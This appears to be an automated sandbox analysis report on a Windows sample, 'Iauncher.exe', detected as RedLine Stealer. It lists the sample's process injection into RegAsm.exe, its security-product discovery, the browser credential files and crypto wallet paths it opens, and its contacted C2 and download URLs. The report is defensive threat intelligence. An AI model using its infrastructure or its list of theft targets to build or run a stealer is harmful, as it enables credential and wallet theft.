Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_00566C92 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

11_2_00566C92

Source: C:\Users\user\Desktop\Iauncher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.1443890601.0000000005630000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1448635359.0000000006DA5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 11.2.Iauncher.exe.590030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Iauncher.exe.590030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Iauncher.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Iauncher.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7324, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 11.2.Iauncher.exe.590030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Iauncher.exe.590030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Iauncher.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Iauncher.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7324, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	134 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	251 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	13 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	241 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Iauncher.exe	24%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
Iauncher.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
https://www.siticoneframework.com/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8	0%	Avira URL Cloud	safe
https://gitgo.org	0%	Avira URL Cloud	safe
https://gitgo.org/Iauncher.zipd	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id9	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id7	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6	0%	Avira URL Cloud	safe
http://gitgo.org	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id9Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id20	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1Response	0%	Avira URL Cloud	safe
https://gitgo.org/Iauncher.zip	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://ns.adp/1.0/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id11	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id14	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id18	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id17	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19	0%	Avira URL Cloud	safe
http://gitgo.orgd	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
antiloxss.usite.pro	193.109.246.100	true	false	high
google.com	172.253.122.101	true	false	high
gitgo.org	172.67.202.98	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txt	false		high
https://antiloxss.usite.pro/STLprograms/NEW/hwid.txt	false		high
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txt	false		high
https://gitgo.org/Iauncher.zip	false	Avira URL Cloud: safe	unknown
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildName.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitgo.org/Iauncher.zipd	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	RegAsm.exe, 0000000D.00000002.1436621457.00000000025EA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gitgo.org	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildZipName.txtd	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.siticoneframework.com/	Iauncher.exe, 00000000.00000002.3676644672.0000000002A9B000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3682596392.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id7	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id6	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildName.txtt-	Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://gitgo.org	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txtt-	Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/hwids.txtd	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	Iauncher.exe, Iauncher.exe, 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmp, RegAsm.exe, 0000000D.00000002.1431945457.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://vimeo.com/api/v2/video/	Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/sc	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1ResponseD	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://antiloxss.usite.pro	Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002BA0000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id20	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
